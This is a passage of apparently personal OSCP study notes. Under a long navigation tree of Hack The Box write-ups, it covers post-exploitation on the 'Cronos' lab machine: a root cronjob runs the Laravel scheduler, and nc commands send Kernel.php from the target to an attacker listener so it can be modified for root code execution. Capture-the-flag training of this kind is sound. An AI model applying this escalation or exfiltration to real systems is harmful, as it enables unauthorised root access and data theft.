📗
OSCP Prep
  • OSCP Preperation
  • Hack the Box Linux
    • Bashed
    • Nibbles
    • Sense
    • Conceal
    • La Casa de Papel
    • Lightweight
    • Jerry
      • Scanning and Enumeration
    • Jarvis
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lesson's Learned
    • TartarSauce
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Poison
      • Turning LFI into RFI
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Node(Comeback to)
      • Scanning and Enumeration
      • Exploitation
    • SolidState
      • Scanning and Enumeration
      • Exploitation and POSTY
      • Lessons Learned
    • Nineveh
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Cronos
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • SwagShop
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Networked
      • Exploitation
    • FriendZoned
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons learned
    • Sunday
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Valentine
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Irked
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Kotarak
    • Nibbles
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
  • Hack the Box Windows
    • Bounty
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Blue
      • Scanning and Enumeration
      • Lessons Learned
    • Granny
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Grandpa
      • Scanning and Enumeration
      • Exploitation
      • Lessons Learned
    • Arctic
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Optimum
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
      • Lessons Learned
    • Devel
      • Scanning and Enumeration
      • Exploitation
      • Post Exploitation
    • Legacy (comeback to )
      • Scanning and Enumeration
      • Exploitation
  • Slick Tricks
    • Banned by Bruteforce? Try this!
    • Hydra for Web Logins
    • Grepping
    • Redirecting all Script Traffic to Burp
    • Word Count
    • Reverse Shell Tricks
    • Transfering files
  • Nmap Help
  • Linux Guide
    • Linux Shortcuts
  • Privelege Escalation
    • Linux Privilege Escalation
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On this page
  • Privilege Elevation
  • Transfering files with nc
  • Modifying Kernel.php

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  1. Hack the Box Linux
  2. Cronos

Post Exploitation

After gaining access, we were able to run LinEnum.sh on the system. Analyzing we were able to check results.

PreviousExploitationNextLessons Learned

Last updated 4 years ago

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Privilege Elevation

After running LinEnum.sh, I was able to find an interesting cronjob.

* * * * *  root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1

Based on the documentation, we can create schedules in the /laravel/app/conosle/Kernel class.

You can schedule Shell commands with the exec method

You can modify frequency using certain schedule functions.

Transfering files with nc

On the target machine

www-data@cronos:/var/www/laravel/app/Console$ nc -nv [ip] [port] < Kernel.php

On the Kali machine

nc -nvlp [port] > File name

Modifying Kernel.php

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code to be executed as root